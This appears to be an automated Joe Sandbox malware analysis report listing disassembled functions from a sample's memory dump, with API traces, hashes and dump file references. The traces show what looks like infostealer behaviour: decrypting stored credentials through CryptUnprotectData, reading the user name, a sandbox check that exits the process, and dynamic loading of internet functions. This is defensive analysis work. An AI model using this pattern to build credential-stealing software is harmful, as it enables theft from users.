API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 8dbdc0a8c699fde1e8f234db2b3bbbc8590116b960b799759a4edb37583c9b44
Instruction ID: 83d737be938832d1b830e94706273e1b4765bde4377576b23a98a8649c8127d1
Opcode Fuzzy Hash: 8dbdc0a8c699fde1e8f234db2b3bbbc8590116b960b799759a4edb37583c9b44
Instruction Fuzzy Hash: A6118EB1A45218EBEB20DF54DC49FA9B778FB04721F1047AAEA0A932C0D7741A41CF51

Function 001E9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 001E9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 001E9BA3
LocalFree.KERNEL32(?), ref: 001E9BD3

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 454208100f1b33624e5461a738399d251835e0bddce889260f5a24dcdbd2889f
Instruction ID: d61ed517d225585b0ba8b861e13a71d161bb022d9ac97b280d98a19410d9453e
Opcode Fuzzy Hash: 454208100f1b33624e5461a738399d251835e0bddce889260f5a24dcdbd2889f
Instruction Fuzzy Hash: 1911E8B4A00209DFCB04DF94D985AAE77B5FB88300F104568EC1597350D774AE51CB61

Function 001F7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001E11B7), ref: 001F7880
RtlAllocateHeap.NTDLL(00000000), ref: 001F7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 001F789F

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: de153db10e100eaacc4c9181783f35c51a830bd0d3eb7e8f37a33d6478725122
Instruction ID: edb239de069496250936e915369e9cc486f6996df876b09ef1a4ac615f2ddad9
Opcode Fuzzy Hash: de153db10e100eaacc4c9181783f35c51a830bd0d3eb7e8f37a33d6478725122
Instruction Fuzzy Hash: 8FF04FB1A44208ABC714DF98DD49FAEBBB8EB05711F10066AFA05A2680C77455058BA1

Function 001E1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 001E116A
ExitProcess.KERNEL32 ref: 001E117E

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 511552bae29c5af34058233ecd2678e51711d562f4a404954866230cdadac9e9
Instruction ID: 4a636ca0292cf401992dafb406265da068a55b0201a6f09bc12e1660305e8631
Opcode Fuzzy Hash: 511552bae29c5af34058233ecd2678e51711d562f4a404954866230cdadac9e9
Instruction Fuzzy Hash: 50D05E74A0030CDBCB10DFE0DC496EDBB78FB48311F4005A4DD0562340EB309492CAAA

Function 001F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,011C68C0), ref: 001F9C2D
GetProcAddress.KERNEL32(75900000,011C6840), ref: 001F9C45
GetProcAddress.KERNEL32(75900000,011D8F40), ref: 001F9C5E
GetProcAddress.KERNEL32(75900000,011D8EF8), ref: 001F9C76
GetProcAddress.KERNEL32(75900000,011DCEB8), ref: 001F9C8E
GetProcAddress.KERNEL32(75900000,011DCED0), ref: 001F9CA7
GetProcAddress.KERNEL32(75900000,011CB090), ref: 001F9CBF
GetProcAddress.KERNEL32(75900000,011DCEE8), ref: 001F9CD7
GetProcAddress.KERNEL32(75900000,011DCF00), ref: 001F9CF0
GetProcAddress.KERNEL32(75900000,011DCE28), ref: 001F9D08
GetProcAddress.KERNEL32(75900000,011DCE10), ref: 001F9D20
GetProcAddress.KERNEL32(75900000,011C6900), ref: 001F9D39
GetProcAddress.KERNEL32(75900000,011C6920), ref: 001F9D51
GetProcAddress.KERNEL32(75900000,011C6A20), ref: 001F9D69
GetProcAddress.KERNEL32(75900000,011C66C0), ref: 001F9D82
GetProcAddress.KERNEL32(75900000,011DCE40), ref: 001F9D9A
GetProcAddress.KERNEL32(75900000,011DCF18), ref: 001F9DB2
GetProcAddress.KERNEL32(75900000,011CAF00), ref: 001F9DCB
GetProcAddress.KERNEL32(75900000,011C6940), ref: 001F9DE3
GetProcAddress.KERNEL32(75900000,011DCF30), ref: 001F9DFB
GetProcAddress.KERNEL32(75900000,011DCE88), ref: 001F9E14
GetProcAddress.KERNEL32(75900000,011DCF48), ref: 001F9E2C
GetProcAddress.KERNEL32(75900000,011DCE58), ref: 001F9E44
GetProcAddress.KERNEL32(75900000,011C6720), ref: 001F9E5D
GetProcAddress.KERNEL32(75900000,011DCEA0), ref: 001F9E75
GetProcAddress.KERNEL32(75900000,011DCE70), ref: 001F9E8D
GetProcAddress.KERNEL32(75900000,011DCF60), ref: 001F9EA6
GetProcAddress.KERNEL32(75900000,011DCF78), ref: 001F9EBE
GetProcAddress.KERNEL32(75900000,011DCF90), ref: 001F9ED6
GetProcAddress.KERNEL32(75900000,011DCFA8), ref: 001F9EEF
GetProcAddress.KERNEL32(75900000,011DCFC0), ref: 001F9F07
GetProcAddress.KERNEL32(75900000,011DCA38), ref: 001F9F1F
GetProcAddress.KERNEL32(75900000,011DCAC8), ref: 001F9F38
GetProcAddress.KERNEL32(75900000,011D99C8), ref: 001F9F50
GetProcAddress.KERNEL32(75900000,011DC870), ref: 001F9F68
GetProcAddress.KERNEL32(75900000,011DC8A0), ref: 001F9F81
GetProcAddress.KERNEL32(75900000,011C6740), ref: 001F9F99
GetProcAddress.KERNEL32(75900000,011DCA68), ref: 001F9FB1
GetProcAddress.KERNEL32(75900000,011C6760), ref: 001F9FCA
GetProcAddress.KERNEL32(75900000,011DC8B8), ref: 001F9FE2
GetProcAddress.KERNEL32(75900000,011DC9D8), ref: 001F9FFA
GetProcAddress.KERNEL32(75900000,011C6620), ref: 001FA013
GetProcAddress.KERNEL32(75900000,011C6380), ref: 001FA02B
LoadLibraryA.KERNEL32(011DCA80,?,001F5CA3,00200AEB,?,?,?,?,?,?,?,?,?,?,00200AEA,00200AE3), ref: 001FA03D
LoadLibraryA.KERNEL32(011DC8D0,?,001F5CA3,00200AEB,?,?,?,?,?,?,?,?,?,?,00200AEA,00200AE3), ref: 001FA04E
LoadLibraryA.KERNEL32(011DCAB0,?,001F5CA3,00200AEB,?,?,?,?,?,?,?,?,?,?,00200AEA,00200AE3), ref: 001FA060
LoadLibraryA.KERNEL32(011DCAE0,?,001F5CA3,00200AEB,?,?,?,?,?,?,?,?,?,?,00200AEA,00200AE3), ref: 001FA072
LoadLibraryA.KERNEL32(011DCAF8,?,001F5CA3,00200AEB,?,?,?,?,?,?,?,?,?,?,00200AEA,00200AE3), ref: 001FA083
LoadLibraryA.KERNEL32(011DC918,?,001F5CA3,00200AEB,?,?,?,?,?,?,?,?,?,?,00200AEA,00200AE3), ref: 001FA095
LoadLibraryA.KERNEL32(011DC990,?,001F5CA3,00200AEB,?,?,?,?,?,?,?,?,?,?,00200AEA,00200AE3), ref: 001FA0A7
LoadLibraryA.KERNEL32(011DC840,?,001F5CA3,00200AEB,?,?,?,?,?,?,?,?,?,?,00200AEA,00200AE3), ref: 001FA0B8
GetProcAddress.KERNEL32(75FD0000,011C63A0), ref: 001FA0DA
GetProcAddress.KERNEL32(75FD0000,011DC810), ref: 001FA0F2
GetProcAddress.KERNEL32(75FD0000,011D8A70), ref: 001FA10A
GetProcAddress.KERNEL32(75FD0000,011DC960), ref: 001FA123
GetProcAddress.KERNEL32(75FD0000,011C65A0), ref: 001FA13B
GetProcAddress.KERNEL32(6FEA0000,011CB1D0), ref: 001FA160
GetProcAddress.KERNEL32(6FEA0000,011C6320), ref: 001FA179
GetProcAddress.KERNEL32(6FEA0000,011CB040), ref: 001FA191
GetProcAddress.KERNEL32(6FEA0000,011DCA98), ref: 001FA1A9
GetProcAddress.KERNEL32(6FEA0000,011DC8E8), ref: 001FA1C2
GetProcAddress.KERNEL32(6FEA0000,011C6580), ref: 001FA1DA
GetProcAddress.KERNEL32(6FEA0000,011C6640), ref: 001FA1F2
GetProcAddress.KERNEL32(6FEA0000,011DC828), ref: 001FA20B
GetProcAddress.KERNEL32(763B0000,011C63C0), ref: 001FA22C
GetProcAddress.KERNEL32(763B0000,011C6420), ref: 001FA244
GetProcAddress.KERNEL32(763B0000,011DC858), ref: 001FA25D
GetProcAddress.KERNEL32(763B0000,011DC888), ref: 001FA275
GetProcAddress.KERNEL32(763B0000,011C6660), ref: 001FA28D
GetProcAddress.KERNEL32(750F0000,011CAF28), ref: 001FA2B3
GetProcAddress.KERNEL32(750F0000,011CAFF0), ref: 001FA2CB
GetProcAddress.KERNEL32(750F0000,011DC9A8), ref: 001FA2E3
GetProcAddress.KERNEL32(750F0000,011C6440), ref: 001FA2FC
GetProcAddress.KERNEL32(750F0000,011C6540), ref: 001FA314
GetProcAddress.KERNEL32(750F0000,011CB2C0), ref: 001FA32C
GetProcAddress.KERNEL32(75A50000,011DC930), ref: 001FA352
GetProcAddress.KERNEL32(75A50000,011C6280), ref: 001FA36A
GetProcAddress.KERNEL32(75A50000,011D8B20), ref: 001FA382
GetProcAddress.KERNEL32(75A50000,011DC900), ref: 001FA39B
GetProcAddress.KERNEL32(75A50000,011DC978), ref: 001FA3B3
GetProcAddress.KERNEL32(75A50000,011C6460), ref: 001FA3CB
GetProcAddress.KERNEL32(75A50000,011C62A0), ref: 001FA3E4
GetProcAddress.KERNEL32(75A50000,011DCA08), ref: 001FA3FC
GetProcAddress.KERNEL32(75A50000,011DC948), ref: 001FA414
GetProcAddress.KERNEL32(75070000,011C6560), ref: 001FA436
GetProcAddress.KERNEL32(75070000,011DC9C0), ref: 001FA44E
GetProcAddress.KERNEL32(75070000,011DC9F0), ref: 001FA466
GetProcAddress.KERNEL32(75070000,011DCA20), ref: 001FA47F
GetProcAddress.KERNEL32(75070000,011DCA50), ref: 001FA497
GetProcAddress.KERNEL32(74E50000,011C6480), ref: 001FA4B8
GetProcAddress.KERNEL32(74E50000,011C6600), ref: 001FA4D1
GetProcAddress.KERNEL32(75320000,011C65C0), ref: 001FA4F2
GetProcAddress.KERNEL32(75320000,011DCD80), ref: 001FA50A
GetProcAddress.KERNEL32(6F060000,011C6340), ref: 001FA530
GetProcAddress.KERNEL32(6F060000,011C62C0), ref: 001FA548
GetProcAddress.KERNEL32(6F060000,011C64A0), ref: 001FA560
GetProcAddress.KERNEL32(6F060000,011DCCA8), ref: 001FA579
GetProcAddress.KERNEL32(6F060000,011C64C0), ref: 001FA591
GetProcAddress.KERNEL32(6F060000,011C63E0), ref: 001FA5A9
GetProcAddress.KERNEL32(6F060000,011C62E0), ref: 001FA5C2
GetProcAddress.KERNEL32(6F060000,011C64E0), ref: 001FA5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 001FA5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 001FA607
GetProcAddress.KERNEL32(74E00000,011DCCC0), ref: 001FA629
GetProcAddress.KERNEL32(74E00000,011D8A60), ref: 001FA641
GetProcAddress.KERNEL32(74E00000,011DCCD8), ref: 001FA659
GetProcAddress.KERNEL32(74E00000,011DCC90), ref: 001FA672
GetProcAddress.KERNEL32(74DF0000,011C6400), ref: 001FA693
GetProcAddress.KERNEL32(6E0B0000,011DCBA0), ref: 001FA6B4
GetProcAddress.KERNEL32(6E0B0000,011C6500), ref: 001FA6CD
GetProcAddress.KERNEL32(6E0B0000,011DCB58), ref: 001FA6E5
GetProcAddress.KERNEL32(6E0B0000,011DCBB8), ref: 001FA6FD

Strings

InternetSetOptionA, xrefs: 001FA5E5
HttpQueryInfoA, xrefs: 001FA5FC

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 4239ed5b8b139175cc2e6f6aec12eb2d2e8a690d1da475f9553650c04bd2602f
Instruction ID: 2385678c4f7781ec19ffab5b5547cbbb7e3666fc61b10f441ff25a1d45a8c843
Opcode Fuzzy Hash: 4239ed5b8b139175cc2e6f6aec12eb2d2e8a690d1da475f9553650c04bd2602f
Instruction Fuzzy Hash: 85622EB5700200AFC364EFA8EE88A6677F9F78C601794453AEE05C3264D7399467DB1E

Function 001E7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 001E7724
RtlAllocateHeap.NTDLL(00000000), ref: 001E772B
lstrcat.KERNEL32(?,011D94E8), ref: 001E78DB
lstrcat.KERNEL32(?,?), ref: 001E78EF
lstrcat.KERNEL32(?,?), ref: 001E7903
lstrcat.KERNEL32(?,?), ref: 001E7917
lstrcat.KERNEL32(?,011DDD48), ref: 001E792B
lstrcat.KERNEL32(?,011DDE08), ref: 001E793F
lstrcat.KERNEL32(?,011DDC58), ref: 001E7952
lstrcat.KERNEL32(?,011DDB38), ref: 001E7966
lstrcat.KERNEL32(?,011DDFF8), ref: 001E797A
lstrcat.KERNEL32(?,?), ref: 001E798E
lstrcat.KERNEL32(?,?), ref: 001E79A2
lstrcat.KERNEL32(?,?), ref: 001E79B6
lstrcat.KERNEL32(?,011DDD48), ref: 001E79C9
lstrcat.KERNEL32(?,011DDE08), ref: 001E79DD
lstrcat.KERNEL32(?,011DDC58), ref: 001E79F1
lstrcat.KERNEL32(?,011DDB38), ref: 001E7A04
lstrcat.KERNEL32(?,011DE060), ref: 001E7A18
lstrcat.KERNEL32(?,?), ref: 001E7A2C
lstrcat.KERNEL32(?,?), ref: 001E7A40
lstrcat.KERNEL32(?,?), ref: 001E7A54
lstrcat.KERNEL32(?,011DDD48), ref: 001E7A68
lstrcat.KERNEL32(?,011DDE08), ref: 001E7A7B
lstrcat.KERNEL32(?,011DDC58), ref: 001E7A8F
lstrcat.KERNEL32(?,011DDB38), ref: 001E7AA3
lstrcat.KERNEL32(?,011DE0C8), ref: 001E7AB6
lstrcat.KERNEL32(?,?), ref: 001E7ACA
lstrcat.KERNEL32(?,?), ref: 001E7ADE
lstrcat.KERNEL32(?,?), ref: 001E7AF2
lstrcat.KERNEL32(?,011DDD48), ref: 001E7B06
lstrcat.KERNEL32(?,011DDE08), ref: 001E7B1A
lstrcat.KERNEL32(?,011DDC58), ref: 001E7B2D
lstrcat.KERNEL32(?,011DDB38), ref: 001E7B41
lstrcat.KERNEL32(?,011DE130), ref: 001E7B55
lstrcat.KERNEL32(?,?), ref: 001E7B69
lstrcat.KERNEL32(?,?), ref: 001E7B7D
lstrcat.KERNEL32(?,?), ref: 001E7B91
lstrcat.KERNEL32(?,011DDD48), ref: 001E7BA4
lstrcat.KERNEL32(?,011DDE08), ref: 001E7BB8
lstrcat.KERNEL32(?,011DDC58), ref: 001E7BCC
lstrcat.KERNEL32(?,011DDB38), ref: 001E7BDF
lstrcat.KERNEL32(?,011DE198), ref: 001E7BF3
lstrcat.KERNEL32(?,?), ref: 001E7C07
lstrcat.KERNEL32(?,?), ref: 001E7C1B
lstrcat.KERNEL32(?,?), ref: 001E7C2F
lstrcat.KERNEL32(?,011DDD48), ref: 001E7C43
lstrcat.KERNEL32(?,011DDE08), ref: 001E7C56
lstrcat.KERNEL32(?,011DDC58), ref: 001E7C6A
lstrcat.KERNEL32(?,011DDB38), ref: 001E7C7E

Part of subcall function 001E75D0: lstrcat.KERNEL32(35BCD020,002017FC), ref: 001E7606
Part of subcall function 001E75D0: lstrcat.KERNEL32(35BCD020,00000000), ref: 001E7648
Part of subcall function 001E75D0: lstrcat.KERNEL32(35BCD020, : ), ref: 001E765A
Part of subcall function 001E75D0: lstrcat.KERNEL32(35BCD020,00000000), ref: 001E768F
Part of subcall function 001E75D0: lstrcat.KERNEL32(35BCD020,00201804), ref: 001E76A0
Part of subcall function 001E75D0: lstrcat.KERNEL32(35BCD020,00000000), ref: 001E76D3
Part of subcall function 001E75D0: lstrcat.KERNEL32(35BCD020,00201808), ref: 001E76ED
Part of subcall function 001E75D0: task.LIBCPMTD ref: 001E76FB

lstrcat.KERNEL32(?,011DE2A0), ref: 001E7E0B
lstrcat.KERNEL32(?,011DD378), ref: 001E7E1E
lstrlen.KERNEL32(35BCD020), ref: 001E7E2B
lstrlen.KERNEL32(35BCD020), ref: 001E7E3B

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
